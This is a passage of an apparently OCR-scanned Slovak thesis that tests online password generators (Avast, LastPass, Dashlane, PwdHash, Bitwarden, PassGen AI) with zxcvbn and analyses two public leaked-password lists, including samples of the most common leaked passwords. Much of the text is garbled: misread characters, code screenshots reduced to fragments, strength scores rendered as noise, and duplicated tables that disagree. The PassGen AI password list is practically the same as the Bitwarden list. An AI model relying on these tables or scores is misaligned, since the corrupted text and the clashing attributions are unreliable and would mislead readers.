a popularnych slov. Najskor zahfiia bezne pouzivané vzory hesiel, ako datumy, sekvencie,
opakovania znakov a vzory na klavesnici, nasledne odhadne kolko pokusov je nutnych na
uhadnutie kladenim otazky: ,,Ak by utoc¢nik vedel pattern hesla, kolko pokusov by
potreboval, aby ho uhadol?*

Hodnotenie je realizované pomocou stupnice od 0 do 4, kde 0 — vel'mi 'ahko uhadnutelné,
vel'mi riskantné heslo, 1 — vel'mi uhadnutelné, 2 - celkom uhddnutel'né 3 — bezpecne
neuhadnutelné, mierna ochrana pred offline slow-hash scenarom a 4 - silno

neuhadnutelné, silna ochrana pred offline slow-hash scenarom. [34]

Na nainstalovanie zxcvbn do pythonu je nutné pouzit’ prikaz pip install zxcvbn.

Terminal:  Loc

Obrézok 30. Instalacia nastroja zxcvbn [zdroj viastny]

Nésledne je postup takyto: vygenerujem sa pomocou nizSie predstavenych nastrojov na
generovanie hesiel pre kazdy 20 hesiel, tieto hesla s ulozené do .xIsx suboru, do stipca
,Password“. Nasledne je pomocou implementovaného nastroja zxcvbn v python skripte
spraveny odhad. Tento je zapisany do druhého suboru tak, ze zachova heslo z prvého

stipca aprida druhy stipec s ndzvom ,Password strength“, kde je zobrazena &iselna
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hodnota odhadu sily. Vzhl'adom na to, ze ide o demonstraciu funkcionality nastrojov na
generovanie hesiel alebo tvorby hesiel, nebol potrebny vel'ky pocet vygenerovanych hesiel.
Aj menSia vzorka hesiel méze poskytnut dostato¢ny prehlad o tom, ako tieto nastroje
funguju. Skiimanie menSiecho mnozstva hesiel moze ul'ah¢it’ vyhodnotenie vysledkov a
ked’ze rozsiahlejSia analyza vygenerovanych hesiel nie je hlavnym cielom tejto prace,
nebol dovod zaoberat sa velkym mnozstvom dat. Skor sa jednalo o ukazku, ako mozu

vyzerat hesld, vygenerované réznymi nastrojmi.

@ PwdStregthEstir

L(input_file, output_file):

L(input_file, ouvtput_file)

Obrézok 31. Skript sliziaci na odhad sily hesla [zdroj vlastny]

2.2 AVAST — Random Password Generator

Tento néstroj na generovanie ndhodnych hesiel od firmy Avast. Je rychly a ma mnoZstvo
nastaveni, ktoré moze uZivatel' pri generovani hesla zahrnit. Je mozné zvolit' si dizku

hesla avybrat zpouzitia mnozin znakov velkych pismen, malych pismen, Ccisel
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a $pecialnych znakov. V ramci testu a ukazky st generovené hesla s dizkou 10 znakov.
Najskor je 10 hesiel generovanych s pouzitim troch mnozin znakov, konkrétne velké
pismend, malad pismena a ¢isla, dalsich 10 vyuziva vSetky mnoZiny znakov, vratane

Specialnych znakov.

Jedna sa o Entropy-based password generator, teda Avast Random Password Generator

pouziva entropiu na vytvorenie hesla obsahujiceho zvolené mnoziny znakov. [35]

Random Password Generator

Create strong and secure passwords to keep your account safe online.

PEMTIxE@#G'fcLO Very strong @ o
Password length: @ Y @
15 o’

Characters

v ABC v abc v 123 v #HS&

used:

Obrazok 32. Avast random password generator [35]
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Password
GWdykNzrvw
TWeCowwDOf
ze9557xPT2
JDLM3S0KERN
J4moD57qggl
qOFvCENMMNVE
pEMU2wWK2AL
MNZAZUSYOQ U
kQuogLmvep
PlgaaMzdhw
s9{3"x}rc+
YABYHyI93,
mi{jES;p%8
POIQpYDFIP
%D}gl2elXe
rlo[tzXxmED
B=pDWpKTuK
W+ZT5aGTI
JdzjLfEYEK
I'R.Cac(2l

Obrazok 33. Hesla vygenerované pomocou Avast RPG [zdroj vlastny]

Po spusteni skriptu a ziskani vysledkov odhadov su zobrazené nasledovné hodnoty.
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Password | Password Strength |
GWdykNzrvw 3
TWeCOwwDOF
z2e9557xP72
IDLM3SOKER
j4moD57qgl
gOFvCEXNMMNYVE
pEMuU2wWEK2AL
NZAZUSYO u
kQuigLmvep
FlgaQMzdhw
s9(5"xjro+
YABYHyI93,
mh{jGS;p%8
POIQpYDFIP
YDigl2elXe
rlo[tzXmED
B=gDWpK7uk
w+zT5aGTI
Jdzj]LFEYK
I'R.0ac(2l

LS R R K o 5 N K = T 5 O 5 ¥ S P S ¥ R ¥ I B oK)

Obrazok 34. Ohodnotené hesla vygenerované pomocou Avast RPG [zdroj viastny]

Z vysledkov je badatelné, Ze tieto hesla su dostatujice, nakolko aj pri dizke 10 znakov
dostali hodnotenie 3, teda bezpecne neuhadnutel'né. Druhym pohl'adom na vec z l'udske;j
stranky je zapamdtatelnost’ tychto hesiel. Ked’Ze hesla st nahodné a prioritou je vysoka
bezpecnost, zapamitatelnost’ tychto hesiel je slabd, obzvlast’ pri heslach vyuzivajucich

Specialne znaky.

2.3 LastPass Password Generator

Nastroj LastPass umoziuje generovat' hesla unikatnym spésobom, dava totiz moznost
generovat’ hesld, ktoré su tzv. lahko vyslovitelné, to modze vyrazne zlepsit' ich
zapamétatelnost’. Pri tejto moZnosti je vSak mozné zvolit' len velké a malé pismend, ¢o

v dbsledku méze oslabit’ ich bezpe¢nost” kvoli strate komplexity.
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LastPass generator vytvara nahodné, bezpe¢né hesla, na zaklade zvolenych parametrov, ¢o
by zodpovedalo Rule-based password generatoru. Kazdé vygenerované heslo je potom
testované voci kniznici zxcvbn, ¢o je zhodou okolnosti prave kniznica, vyuzivana na odhad

sily hesla v tejto praci. [36]

tichenOGiS 0O <

Customize your password

Password Length ® Easytosay Uppercase

10 ﬁ Easy to read Lowercase

All characters

Obrazok 35. LastPass password generator [36]

Pre obmedzené moéznosti vo vybere mnozin znakov tohoto spdsobu generovania bola
ukézka realizovana tak, Ze pri prvych 10 heslach bola zachovana dizka hesla 10 znakov,
d’algich 10 hesiel malo dizku 14 znakov, aby bolo moZné kompenzovat’ zvysenie

komplexity v minulej ukazke vykonaného pridanim $pecialnych znakov do hesla.

Pre hesla s dizkou 10 znakov (s pouzitim velkych pismen, malych pismen, &islic a
Specialnych znakov, ktorych pocet je 32, asttotieto ' "#$% &' () *+,-./:;<=>7?
@[\1"_"{]}~)jepocet moznych hesiel 94 1° = 6 095 689 385 410 816. Pre hesla s
dizkou 14 znakov (bez pouzitia $pecialnych znakov) je po¢et moznych hesiel = 6214 =
4738 381 338 321 616. Z vyssie uvedeného vyplyva, Ze by tato kompenzacia mohla byt’

adekvatna.
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Password
tichenOGis
ItErSisMew
oprickLEXi
inScRaGrEs
AmatERIiTy
haityYLvESt
baChrOMshE
SWorfUunlOmM
uShYstruinN
ctUdwilLEDR
ROBDuNthOncorE
AscestoMIclPLE
oMARypOIYONDOr
UCtinsITuLateR
IPErEC'WMNYwriDE
tHERERglaughtE
AMultONlonCetR
COnvOgYrOdiase
ARMNSPhAGOMenTr
SUakatENceMNZaN

Obrazok 36. Hesla vygenerované pomocou LastPass password generator [zdroj vlastny]
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Password Password Strength|
tichenOGis 3
ItErSisMew
oprickLEXi
in5cRaGrEs
AmatERIiTy
haitYLvESt
baChrOMshE
SWorfunlOmn
uShyYstruinN
ctUdwiLEDR
ROBDuNthOncorE
AscestoMIclPLE
oMARypOIYONDOr
UCtinsITuLateR
IPErEC'WMNYwriDE
tHERERglaughtE
AMultOMIonCetR
COnvOgYrOdiase
ARNSPbAGONenTr
SUakatENceMZaM

ol b R R R R E R R W oW W W oW W Wow

Obrazok 37. Ohodnotené hesla vygenerované pomocou LastPass password generator
[zdroj viastny]

V tomto pripade su hesld od 1 do 10 opét’ ohodnotené stupiiom 3, hesla 11 az 20 su vSak
ohodnotené az stuptiom 4. Moze byt teda predpokladané, Ze prediZenie hesla o §tyri
znaky predstavovalo vyraznejSie polepSenie oproti krat§im heslam. Z hl'adiska
zapamdtatelnosti st tieto hesla urcite lepSie, nakol'ko sa skladaju len z velkych a malych
pismen. Z pohl'adu hodnotenia vyplyva, Ze hesla zloZzené z malych a velkych pismen,

0 dizke 14 znakov, mozno pokladat’ za bezpeéné.
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2.4 Dashlane Password Generator

Dashlane password generator je nastroj umoziiujuci generovanie ndhodnych hesiel, taktieZ
sa vyznacuje flexibilitou a moznost'ou prispdsobenia vygenerovanych hesiel. Tento nastroj
umoziuje rozne nastavenia ako vyber mnozin znakov, teda malé a vel'ké pismena, ¢isla
a Specialne znaky. Uzito¢nou funkciou tohoto generatora je moznost’ vyhnut sa podobnym
znakom stojacim vedl'a seba, napriklad 0-0, I-1, atd’. Tato moznost’ zvysi zapamétatel'nost’

hesla a zamedzi preklepom a pomyleniam sa pri zadavani hesla uzivatelom.

Prihlasenym uzivatelom je potom heslo generované lokalne na ich zariadeni, ¢o zabezpeci,

ze heslo nie je zdiel'ané ani ukladané v Dashlane. [37]

Generate passwords with our random password generator.

qgh74&oD8D# Q

@ Strong password

LENGTH (10)

e

v Letters (e.g. Ad) v Digits (e.g.345) v Symbols (@ESH#7) . Similar characters (e.g. 00 1] 2Z)

Obrazok 38. Dashlane password generator [37]

Opit bolo vygenerovanych 20 hesiel, prvych 10 pouzitim mnozin znakov malych pismen,
vel’kych pismen a ¢isel, d’alSich 10 aj s pouzitim $pecialnych znakov. Po cely ¢as nebola
zahrnuta funkcia pouzivania podobnych znakov, teda generované znaky neboli vedla seba

podobné.
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Password

QHd2T29hxXo
eoblsXllwh
XEg7liTo5c
Ao7oWImFVT
gjarhuMr7d
Kgt7laglZl
ebAh2s0584
elrYNO2jMg
DaELullhb0o
SiB0zZICEYx
B!9jJIxrs2
#ekdMZeac)
YADXOSkDv1
Ses)Bgrlio
ItEMXMIES!
gl?QcYosu?
eyC5leycol
XOezBz19M#
Xlemmash!t
gh7480D8D#

Obrazok 39. Hesla vygenerované pomocou Dashlane password generator [zdroj vlastny]
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Password |Password 5trength|
QHd2T29hXo 3
eoblsX1whb
XEg7li7o5c
AcToWImFVT
gjgrhuMr7d
Kgt7lagoZl
ebAh2s0584
e0rYNO2jMg
DaELullhb0
siBOzZICEyx
B!9jJIxr52
#okdMZeac)
YADXOSkDvl
5e5)Bgrlio
3tBMXM3ES!
gl?oCYosu?
eyC5loycoQ
KOezBz13NM#
Xl6mmash!t
gh74&0D8D#

L N ¥ N K I ¥ S % S S S A )

Obrazok 40. Ohodnotené hesla vygenerované pomocou Dashlane password generator
[zdroj viastny]

Znova je viditeI'né, Zze generované hesla dostali hodnotenie 3, niZzSie hodnotenie moze byt
prisidené nie uplne optimélnej dizke hesla. Co sa tyka komplexity a nahodnosti hesiel,
neobsahuju opakujuce sa znaky, slova bezného jazyka a zaroven maji uréitd komplexnost,
mozu byt teda pokladané za bezpeéné. Z hladiska zapamitatelnosti tieto hesla nie su

najlepsie, podobne ako v priklade Avast Password Generatorul.

2.5 Stanford PwdHash

PwdHash je $pecialny druh nastroja, ktory funguje trochu inak ako doposial’ spomenuté
nastroje. Dokaze generovat’ hesla na zaklade dvoch vstupnych parametrov, jednym je

adresa webové stranky a druhym je uzivatel'ské heslo, vysledkom generovania je potom
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nové heslo. Tato moznost’ generovania umoznuje uzivatelovi mat pre kazdu stranku iné

heslo, pri pouzivani jedné¢ho svojho.

Nastroj je dostupny aj vo forme rozSirenia do prehliadaca, kde dokédze neviditelne
generovat’ tieto hesla. Ak je tento nastroj aktivovany, nahradi obsah pol'a hesla hashom
z dvojice adresa a heslo. Vysledkom je, Ze stranka vidi iba hash hesla pre dantit doménu
a nie uzivatel'ove skuto¢né heslo. Hashovacia funkcia pouzita v tomto nastroji je verejna
a da sa vypocitat na akomkol'vek pocitaci, ¢o znamend, ze uzivatel sa moze prihlasit
z l'ubovolného pocitaca a nie je obmedzeny len na jeden. Hashovanie sa vykonava

pomocou Pseudo Random Function (PRF). [38]

Site Address

Stal'lfo rd PWd H as h |http:s'."'.'.'w'.r.r.example.cnm." |
Site Password

PwdHash generates theft-resistant

passwords. The PwdHash browser extension — |
@nyisibly generates these passwords wh_en it Hashed Password

is installed in your browser. You can activate

this protection by pressing F2 before you type | [sA8V3FPNEGCdyD || Generate |
your password, or by choosing passwords

that start with gg. If you don't want to install \iersion 0.8 (more versions)
PwdHash on your computer, you can Tip: You can save: this page to disk:

generate the passwords right here.

Obrazok 41. Stanford PwdHash [39]

Ked'ze tento generator funguje trochu rozdielne, hesla boli generované takymto spésobom.
Prvych 10 pouziva konsStantné heslo “m2 kubicek” a variabilne s0 dosadzované
webstranky. Druhych 10 bolo generovanych obratene, teda adresa je konstantna

“https://moodle.utb.cz/” a meni sa heslo.
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Password |
XxfjMb+X1NIb
QUiibglPO+HF
SviMfyl3+BGez
Lc8MNhHgsA/5v
ETYMBNT+29wN
stBP18kplLW+W
QUdmHsBPsl+6
9549s5byBOB+Z
K87+EpZ5lgAX
V+RcCFGSYShw
49FspsIHS
JwmO3s9
wUgT2IgFYOTKO
LsfMdyRcOWrBhby
nuzelgneld
PylhYIhY2AUJYD
IrhAi7
xedwgmloCvspuy
+6TQCviFazlt
BAUG+hZkYoghs

Obrazok 42. Hesla vygenerované pomocou Stanford PwdHash [zdroj viastny]

Co je na prvy pohlad badatené, je rozdielnost v dizke hesla pri dvoch zvolenych
metddach. Pri prvej metode konstantného hesla je dizka vygenerovaného hesla nemenna.
Na druhej strane, pri pouziti druhej metody, je dizka vygenerovaného hesla zavisla na

diZke hesla, ktoré bolo zadané na vstupe.
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Password

Password 5trength|

XaxfjMb+X1NIb
QUiibglPO+HF
SvMfyl3+BGez
LcBNhHgsA/Sv
ETYMBNT+29wWN
stBP18kplUWHW
QUdmHsBPsI+6
9549sbyBOS+Z
KBT+EpZ5IghX
V+RCCFGSYShw
49FspsIHS
JwmQs9
wUgT2IgFYO7KO
LsfNdyRcOWrBhbv
nuzklgneld
PylhYIhY2AUJYD
IrhAi7
xedwgmboCvspuY
+6TQCviFazlt
BAUG+hZkYoghS

4

L T R e I L I TR R T I R R T I

Obrazok 43. Ohodnotené hesla vygenerované pomocou Stanford PwdHash [zdroj vlastny]

Pri vysledkoch je jasne badatel'ny rozdiel v konzistentnosti odhadnutej sily hesla, zatial’ ¢o

vsetkych 10 hesiel generovanych prvou metédou ma hodnotenie 4, pri druhej metdde sa
objavuji aj hodnotenia s hodnotami 1 a 3. Toto je spdsobené rozdielnou dizkou
zadavanych hesiel, pouzitych na generovanie. Vo vysledku je teda mozné prehlasit’, ze

tento nastroj generuje bezpecné hesla iba za predpokladu, Ze uzivatel’ na vstupe pouzil

dostato¢ne dlhé heslo.

2.6 Bitwarden password generator

Bitwarden je komplexny nastroj sliiziaci primarne ako spravca hesiel. Ma mnozstvo

uzito¢nych funkcii, medzi ne patri aj generator hesiel.

Tento nastroj podobne ako iné poskytuje moznost’ vyberu mnozin znakov pouzitych pre

generovanie hesla. Znova su pre ukazku pouzité 2 kombinacie. Prvou su velké, malé
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pismena a ¢isla. Druhou kombinaciou je toto isté rozSirené o Specidlne znaky. Tento
nastroj ponuka aj odhad doby potrebnej na prelomenie vygenerovaného hesla, takze
uzivatel ma moznost’ zvazit, ¢i je vygenerované heslo dostato¢ne silné. V com je tento
nastroj jedine¢ny oproti inym, je ponukanie tzv. passphrase generovania. Passphrase su
frazy zlozené zo slov volitelne oddelovanych poml¢kami. Ked'Ze je tato praca zamerana na

hesla, d’alSia pozornost’ im venovana nebola. [59]

v3 ! EzsuGRP6G

Type Characters: 12
® Password O Passphrase -9

Additional Options
A-Z a-z 0-9 l@#$%HAE”

Want to test the strength of another password? Try the Bitwarden Password Strength

Testing Tool.

Obrazok 44. Bitwarden password generator [59]

Pomocou tohoto nastroja bolo znova vygenerovanych 20 hesiel. Tie vyzerali nasledovne.
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Password
vwvP{VaA+ZIVEH
M2vHMASEAN/]
f7XbpBz_3*i3
TVjkzl2bGa&W
xn{rgsX]Uchi
6% Tyf| G*{HVx
wRIdNk?-gMNx6
+H 1 e WWWEU Ha:
TNoESPT/sNWi
|E]1SECcFPMzLY
PIxI{MKj9_F
ox;TosmToNa!
(-+hda{zMTjl
:xfae)59!19iy
EsDyotgE9L;”
KFOoER*K-AG!
Y-£c6| A2DE]7
blScB3KQjgau
@xK[ULE9NLZd
THjhriZ0%4Mg

Obrazok 45. Hesla vygenerované pomocou Bitwarden [zdroj vlastny]

Z pohl'adu hesla je viditeI'na, velka prevaha pouzivania pismen oproti ¢islam. S pomedzi

dvanast’ znakov sa v heslach vyskytuji maximalne 3, va¢sinou len dve Cisla.
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Password |Pa55wnrd 5trength|
vwvP{VA+ZVEH 4
N2vHMA%EAN/]
f7XbpBz_3%i3
7VjkzI2bG8&W
®n{rgsK] UcAi
6% Tyf| G*{HVx
wRIdMk?-gMNx6
+X 1= WWWil%:
TMoESPT/sNWi
|E]SEcFPMzLY
PIxII{MKj9_F
ox;TesmToNg!
(-+hd8{ZMTjI
:xfae)5919iy
EsDyotgESl;”
XFO0£E*K-AG!
Y-£c6 | A2DEj7
blScB3KQjgQU
@xK[ULEINLZd
THjhrIZ0%4Mg

ook R R R R E R R R E R R R R R B

Obrazok 46. Ohodnotené hesla vygenerované pomocou Bitwarden [zdroj viastny]

Po ohodnoteni je viditeI'né, ze vygenerované hesla obstali vyborne a obdrzali hodnotenie
vo vyske 4. Vo vysledku je teda mozné konsStatovat, ze vySSie uvedené hesla (Obr. 43)

vygenerované tymto nastrojom su bezpec¢né.

2.7 PassGen Al Generator

Poslednym z testovanych existujiicich nastrojov by mal byt nastroj vyuzivajuci Al, o aky
druh AI, pripadne aky model sa jedna v$ak na stranke nie je uvedené. Co sa tyka
uzivatel'ského rozhrania, to je jednoduché a lahko ovladatelné. Umoziiuje zvolit' dizku
hesla ako aj jeho komplexnost. Pomocou tlacidiel je teda mozné volit' komplexné hesla,

alfanumerické, abecedné, iba numerické a podobne. [67]
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PassGen Al

Need A Password? Try Our Al Password Generator
Tool.

Unleash the Power of Unlimited Random and Strong Passwords with Our PassGenAl Password

Generator. Fast, Free, and Foolproof.

Add another +

Length: ® 12

Obrazok 47. Al nastroj na generovanie hesiel PassGen Al [67]

Znova ako aj v predoslych pripadoch bolo vygenerovanych 20 hesiel o dizke 12 znakov.

Tieto su nasledne ohodnotené pomocou zxcvbn nastroja.
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Password |
vwvP{VaA+ZVEH
MN2vHMA%EAN/]
f7XbpBz_3%i3
7vjkzl2bGa&W
xn{rgs¥]UcAi
6% Tyf| G*{HVx
wRIdNk?-gMx6
+H 1M e WWWEUSa:
TNoESPT/sMNWi
|E]S£CcFPMzLY
PIxI{MKj9_F
ox;TesmToMa!
(-+hd8{ZMTjl
:xfae)59!19iy
EsDyotgESL;”
KFOoER*K-AG!
Y-£c6| A2DE]7
blscB3KQjgQu
@xK[ULE9NLZd
7HjhriZ0%4Mg

Obrazok 48. Hesla vygenerované pomocou PassGen Al [zdroj vlastny]
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Password |P355wnrd 5trength|
vwvP{VA+AVEH 4
N2vHMA%EAN/]
f7XbpBz_3*i3
7VjkzIZbGE&W
xn{rgsX]Uchi
6% Tyf| G*{HVx
wRIdNk?-gMx6
+X 1 WWWil%:
TMoESPT/sNWi
|E]SEcFPMzLw
PIxI[MKj9_F
ox;TecsmToMNAl
(-+hd8{zMmTjl
:xfae)3919iy
ESDyotgE9L;~
XFOO£E*K-AG!
Y-£c6| A2DEj7
blScB3KQjgau
@xK[ULE9INLZd
THjhriZ0%4Mg

oo R R R R R R R R R R R R R R R

Obrazok 49. Ohodnotené hesla vygenerované pomocou PassGen Al [zdroj viastny]

Po ohodnoteni vygenerovanych hesiel je viditeI'né, Ze opat’ vSetky hesla dostali najvyssie

hodnotenie so stupiiom 4. Vygenerované hesla sa daju povazovat’ za bezpec¢né.

Zhrnutim kapitoly s prihliadnutim na vygenerované hesla, tieto data naznacuju, Ze
nastroje na generovanie hesiel su za ur¢itych podmienok schopné generovat’ dostato¢ne
silné hesla a preto ich vol'bou uzivatel’ uréite nespravi chybu. Kombinacia silného hesla
V pouziti s password managerom zabezpe¢i dostato¢ni ochranu uctov a prihlasovania,
pricom odpadd nutnost’ pamitania si komplexnych hesiel, prave vdaka password

managerom.
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3 ANALYZA DATOVYCH SAD S UNIKNUTYMI HESLAMI

V tomto bode prace sG analyzovaneé dve datové sady suniknutymi heslami. Kvoli
rozsiahlosti boli vybraté dve datové sady, obsahujuce kazda 100 tisic hesiel. Tieto datove
sady obsahuju vyber najfrekventovanejSie sa vyskytujacich hesiel pri unikoch. Ciel'om
analyzy je vyhodnotit’ atributy tychto hesiel. Vystupom pre kazd(d datovu sadu teda je
najkratsie heslo najdlhsie heslo, priemerna dizka hesla, minimalna dfZka hesla, maximalna
diZka hesla, distribicia znakov v heslach, priemerna bezpecnost hesiel vyhodnotena
pomocou kniznice password-strength. [40] V poslednom kroku bol zisteny pocet
spolo¢nych hesiel, teda hesiel, ktoré sa nachadzaji v oboch datovych sadach zaroven, ¢o

znaci ich Casty vyskyt a tym padom aj Casty unik.
3.1 Vyhodnocovanie sily hesla pomocou password-strength

Na vyhodnotenie sily hesiel tychto datovych sad je pouzita kniznica password-strength.
Tato je vhodna kvéli rychlosti a jednoduchosti implementacie. Na vypocet sily hesla
vyuziva ohodnotenie komplexity hesiel, kde hesla dostani hodnotenie od 0 do 0,99.

Pri¢om silné heslo by malo mat’ hodnotenie komplexity vicsie ako 0,66. [40]

Na nains$talovanie tohoto ndstroja a umoznenie s nim pracovat’ v Pythone je pouzity prikaz

pip install password-strength.

Obrézok 50. Instalacia kniznice password-strength [zdroj viastny]

3.2 Vyber datovych sad s uniknutymi heslami

Datova sada 10-million-password-list-top-100000. Pochadza zo sady SecList, jedna sa o
zbierku viacerych typov zoznamov pouzivanych pri bezpeénostnych skiskach, zoznamy

obsahuju pouzivatel'ské mena, hesla, URL adresy a podobne. [41]
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Tento zoznam, ako uz z nazvu vyplyva, obsahuje najpouzivanejSich sto tisic hesiel z
celkovej kolekcie desat’ milidnov. Pre analyzu by mal byt teda prinosnym materidlom,

nakol'’ko umozni ziskat’ prehl'ad o zloZeni hesiel a sposoboch, akymi l'udia tvoria hesla.

Druhou datovou sadou je PwnedPasswordsTop100Kk. tento obsahuje taktiez sto tisic hesiel.

Jedna sa o vyber top sto tisic hesiel, tentokrat vSak zo stranky Have | Been Pwned [42]

123456
123456789
qwerty
password
— 111111
12345678
abcl23
12345 1234567
1234 passwordl
12345
1234567890
1234567 123123
dragon 080000
iloveyou
1234
baseball 1g2w3e4rst
abcl23 gwertyuiop
football 123
monkey
monkey dragon
letmein 123456a
654321
123321
shadow 666666
master lgaz2wsx
myspacel
121212

123456789

111111

123123

096969

b66666

gwertyuiop = homelesspa
123321 123que

Obréazok 51. Ukazka obsahu oboch datovych sad uniknutych hesiel [zdroj vlastny]

Z ukazky je jasne viditel'né, Ze niektoré hesla sa opakuja, spravidla sa jedna viacSinou o tie

najjednoduchsie a najnebezpecnejsie.
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3.3 Analyza ziskanych datovych sad
Na ucely analyzy bol vytvoreny skript v jazyku Python, ktory funguje nasledovne.

- Vstupom su subory, ktoré su analyzované

- Je zavolana funkcia analyze_password_data

-V tejto metdde je v cykle prechddzany riadok po riadku zo stboru hesiel a tieto
hesla su nacitané do premennej data

- Vykon4 sa analyza dizky hesiel

- Je vykonand analyza pouzitych znakov, ktoré su utriedené podla najpouzivanejsich

- Vyhodnotenie bezpecnosti hesiel pomocou password-strength

- Vykona sa vyber najkratSieho a najdlhsieho hesla

- Pre istotu sa vykona aj kontrola a filtracia neplatnych hesiel, ak by sa v heslach
vyskytovali nejaké nepovolené znaky, pri ktorych by nastala tzv. exception a
nepodarili sa pridat’ do zoznamu

- Vypis ziskanych vysledkov

- Vykreslenie histogramu pocetnosti najpouzivanejSich znakov

- Po prejdeni a analyzovani oboch suborov je vypisany pocet spolo¢nych hesiel

Vysledny kod vyzera takto.
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@ LeakedPa

item: item[1]

Obrézok 53. Ukazka kodu analyzy uniknutych hesiel 2 [zdroj vlastny]
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Obrazok 54. Ukazka kodu analyzy uniknutych hesiel 3 [zdroj vlastny]

Obrézok 55. Ukazka kodu analyzy uniknutych hesiel 4 [zdroj vlastny]

3.4 Vysledky analyzy datovych sad s uniknutymi heslami

3.4.1 Analyza datového suboru 10-million-password-list-top-100000

Najkratsie heslo: “123”
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Najdlhsie heslo: “12345678900987654321”

Priemerna dizka hesiel: 6.819

Minimalna diZka hesla: 3

Maximalna dizka hesla: 20

Distribucia znakov v heslach: {'1": 63882, '0": 47990, 'a": 38911, '9": 36656, 'e": 36538, 2"
32910, 'r': 26652, '0": 26320, 'i": 24678, 'n": 23947, 's": 23133, '8": 20575, '7": 20498, 't"
20178, 'l 19899, '6": 18874, '3": 17907, '5": 16122, '4". 14263, 'm": 13639, 'd": 13574, 'c"
13559, 'h": 11413, 'b": 11101, 'u": 10964, 'g": 10052, 'k": 9436, 'p": 9070, 'y": 8782, 'f": 7618,
'w'": 5043, 'v': 4886, 'j': 3991, 'z": 2994, 'X": 2389, 'q": 1660, 'A": 984, 'E": 863, 'S": 849, 'R".
735, 'N": 589, 'C": 579, 'B": 551, 'L": 548, 'M": 544}

Priemerné bezpecnost’ hesiel: 0.1851

V tejto datovej sade bolo po analyze zistenych nickolko skutocnosti. NajkratSie z
uniknutych hesiel je heslo “123”, ktoré ma len tri znaky, Co je absolutne nedostacujiuce
heslo. Najdlh§im bolo heslo “12345678900987654321” o dizke dvadsat znakov. Toto
heslo ma sice dostato¢nu dizku, aviak kvoli tomu, Ze je zloZené len z &isel ho nemozno
povazovat’ za bezpecné. Tento fakt odzrkadluje aj priemerna bezpec¢nost’ hesiel, ktora je
len na Grovni 0,18. Pre pripomenutie, silné hesla za¢inaju na urovni 0,66. Priemerna dizka
hesiel tohoto suboru je len 6,819 znaku, ¢o spada do jednozna¢ne nedosta¢ujiicich. Dalsim
bodom je distribucia znakov v heslach, kde je zobrazenych 45 najCastejSie pouzivanych

znakov.
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RozloZenie pouzitia znakov (10-million-password-list-top-100000.txt)

60000

50000
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Znaky

Obrézok 56. Distribucia znakov v stubore 10-million-password-list-top-100000 [zdroj
vlastny]

V tomto grafe je mozné vidiet, Ze s po¢tom cca 63-tisic pouziti, je najéastejSie pouzivanym
znakom “1”, na druhom mieste je “0” s poc¢tom necelych 50-tisic, nasleduju znaky “a”,
“9”, “e” s poctami cca 35-tisic. Z grafu vyplyva, Ze najCastejSie volenymi znakmi st
Cislovky a malé pismend, primarne samohlasky. Znepokojivy je maly vyskyt velkych
pismen a zanedbatelny vyskyt Specidlnych znakov, ktoré sa ani nezmestili do grafu.
Zaujimavym postrehom je casty vyskyt znaku “0”, ktory nezodpovedd Standardnej
distribucii. Toto skresenie moze byt spdsobené tym, Ze je na analyzu pouzitd datova sada
vyfiltrovanych, najcastejSie uniknutych hesiel, kde je velka cast’ hesiel €isto numericka

alebo obsahuje ¢isla.

3.4.2 Analyza datového suboru PwnedPasswordsTop100k
Tento stbor je ulozeny pod nazvom ncsgov_top_100Kk.txt

Najkratsie heslo: “0”
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Najdlhsie heslo: “D¢N—P... p{N—b...D;N—b... D;N—b.. D;N—P.. D;N—
b..b,N—b.. D;N—D...p;N—D.. D;N—Db...b;N—D...D;N—D.. D;N—
b..b,N—b...b;N—D...D;N—D.. D;N—b...b;N—D...D;N—D.. D)N—D...”

Priemern4 dizka hesiel: 7.369

Minimélna diZka hesla: 1

Maximalna dizka hesla: 120

Distribucia znakov v heslach: {'1": 60653, 'a": 54613, 'e": 48993, '0": 34883, "i": 33721, '0":
32745, 'r': 32324, 'n": 31630, '2": 31007, 's': 29092, 'I': 27956, '9": 24099, 't 23681, 'm":
18584, '3": 18516, '8 17699, 'c": 17055, 'd": 16256, 'h": 14929, 'y": 13926, 'b": 13784, 'u".
13644, '7": 12377, '4" 11799, '5": 11761, 'k": 11709, 'g": 11413, 'p: 11357, '6" 10781, 'f:
7913, 'v": 6754, ‘W' 6221, 'j": 5418, 'z": 3304, 'x": 2723, 'q": 1993, ‘A" 724, 'D". 681, ".". 679,
' 630, 'E" 513, 'S": 475, 'R": 374, 'N": 365, 'L": 345}

Priemerna bezpec¢nost hesiel: 0.2143

V pripade tohoto datového stboru bolo ziskané najkratsie heslo “0” s dizkou jeden znak.
Pri najdlh$om hesle je sice dizka 120 znakov, av§ak s najvacsou pravdepodobnostou sa
jedna o zle konvertované nelatinkové pisma. Priemerna dizka hesiel bola v tomto pripade
7,369 o je lepsie ako v predoSlom pripade, no stile to nemozno povazovat’ za bezpecné.
Okrem priemernej dizky hesla o niedo stiipla aj hodnota priemernej bezpeénosti hesiel, a to
na uroven 0,2143. Znova je badatelnd lepsSia hodnota ako v predoSlom pripade, no k

hranici bezpe¢ného hesla sa neblizi.
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RozloZenie pouzitia znakov (ncsgov_top_100k.txt)
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Obréazok 57. Distribucia cnakov v subore PwnedPasswordsTop100k [zdroj viastny]

Pocetnost’ znakov je v tomto pripade podobna, o potvrdzuje domnienku, Ze najCastejsie st
volené Cisla a malé pismend resp. samohlasky. NajcastejSim znakom je znova “1”,
tentokrat s po¢tom cca 60-tisic. Na druhom mieste je “a” s po¢tom cca 55-tisic, a na tretom
“e”, ktoré sa objavilo 50-tisic krat. Opét’ je mozné pozorovat’ slabu pritomnost’ velkych
pismen a taktiez Specidlnych znakov. V tomto pripade by mohol budit’ pozornost’ znak
“D”. Ktory je v beznych znakoch neobvykly. Ako ale aj najdlhSie heslo naznacuje, dany
znak sa pri nespravnej konverzii objavuje v tejto datovej sade vel'mi ¢asto, ¢o by mohlo

mat’ za nasledok toto skreslenie a jeho neobvykle Casty vyskyt.
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4 VYBER GENERATIVNEHO MODELU

Jednotlivé generativne modely, ktoré by mohli byt vhodné na realizovanie tejto
problematiky boli predstavené v kapitole 1.9. V nasledujucej kapitole uz sU rozobraté len

navrhy a podnety, vd’aka ktorym bolo rozhodnuté o zvolenom modele.

4.1 Analyza pouZitel'nosti

GMM je primarne vyuzivany pre zhlukovl analyzu dat a detekciu anomalii generovanych
dat, preto moze mat’ obmedzenu schopnost’ zachytenia zlozitych vzorov v datach ako su
bezpecné hesla, ktoré Casto vyzaduju Specifické vzory a kombinacie, taktieZ tento model
